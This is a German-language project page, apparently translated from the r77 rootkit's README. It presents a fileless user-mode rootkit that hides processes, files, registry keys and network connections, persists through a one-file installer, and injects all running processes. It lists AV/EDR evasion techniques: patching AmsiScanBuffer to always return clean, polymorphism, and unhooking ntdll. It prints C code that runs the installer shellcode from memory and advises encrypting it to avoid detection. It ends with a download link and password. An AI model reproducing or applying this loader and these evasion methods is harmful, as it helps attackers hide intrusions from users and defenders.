
Dateiloses Ring-3-Rootkit mit Installer und Persistenz, das Prozesse, Dateien, Netzwerkverbindungen usw. verbirgt.
r77 ist ein Ring-3-Rootkit, das alles versteckt:
Alles, das mit "$77" beginnt, wird versteckt.

Das dynamische Konfigurationssystem ermöglicht es, Prozesse nach PID und Name, Dateisystemobjekte nach vollständigem Pfad sowie TCP- und UDP-Verbindungen bestimmter Ports usw. zu verstecken.

Die Konfiguration befindet sich unter HKEY_LOCAL_MACHINE\SOFTWARE\$77config und ist von jedem Prozess ohne erhöhte Berechtigungen beschreibbar. Die DACL dieses Schlüssels ist so eingestellt, dass sie jedem Benutzer vollständigen Zugriff gewährt.
Zusätzlich wird der $77config-Schlüssel vom Rootkit versteckt.
Die Bereitstellung von r77 erfordert nur eine Datei: Install.exe. Die Ausführung macht r77 auf dem System persistent und injiziert alle laufenden Prozesse.
Uninstall.exe entfernt r77 vollständig und ordentlich vom System.
Install.shellcode ist das Shellcode-Äquivalent des Installers. Auf diese Weise kann die Installation integriert werden, ohne Install.exe ablegen zu müssen. Der Shellcode kann einfach in den Speicher geladen, in einen Funktionszeiger umgewandelt und ausgeführt werden:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
Der Rootkit befindet sich im Systemspeicher und schreibt keine Dateien auf die Festplatte. Dies wird in mehreren Stufen erreicht.
Dieses Diagramm zeigt jede Stufe von der Ausführung des Installers bis hin zur Rootkit-DLL, die in jedem Prozess läuft. Die Dokumentation enthält ein Kapitel mit ausführlichen Details zur Implementierung jeder Stufe.

Mehrere Techniken zur Umgehung von AV und EDR werden eingesetzt:
amsi.dll!AmsiScanBuffer so patcht, dass es immer AMSI_RESULT_CLEAN zurückgibt. Polymorphismus wird verwendet, um die Signaturerkennung des AMSI-Bypasses zu umgehen.ntdll.dll überwachen, müssen diese Hooks entfernt werden, indem eine frische Kopie von ntdll.dll von der Festplatte geladen und der ursprüngliche Abschnitt wiederhergestellt wird. Andernfalls würde die Prozessinjektion erkannt werden.Die Testkonsole ist ein nützliches Werkzeug, um r77 in einzelne Prozesse zu injizieren und das Konfigurationssystem zu testen.

Bitte lesen Sie die technische Dokumentation, um einen umfassenden und vollständigen Überblick über r77 und seine Interna sowie über die Bereitstellung und Integration zu erhalten.
r77 Rootkit 1.8.2.zip
(ZIP-Passwort: bytecode77)
Technische Dokumentation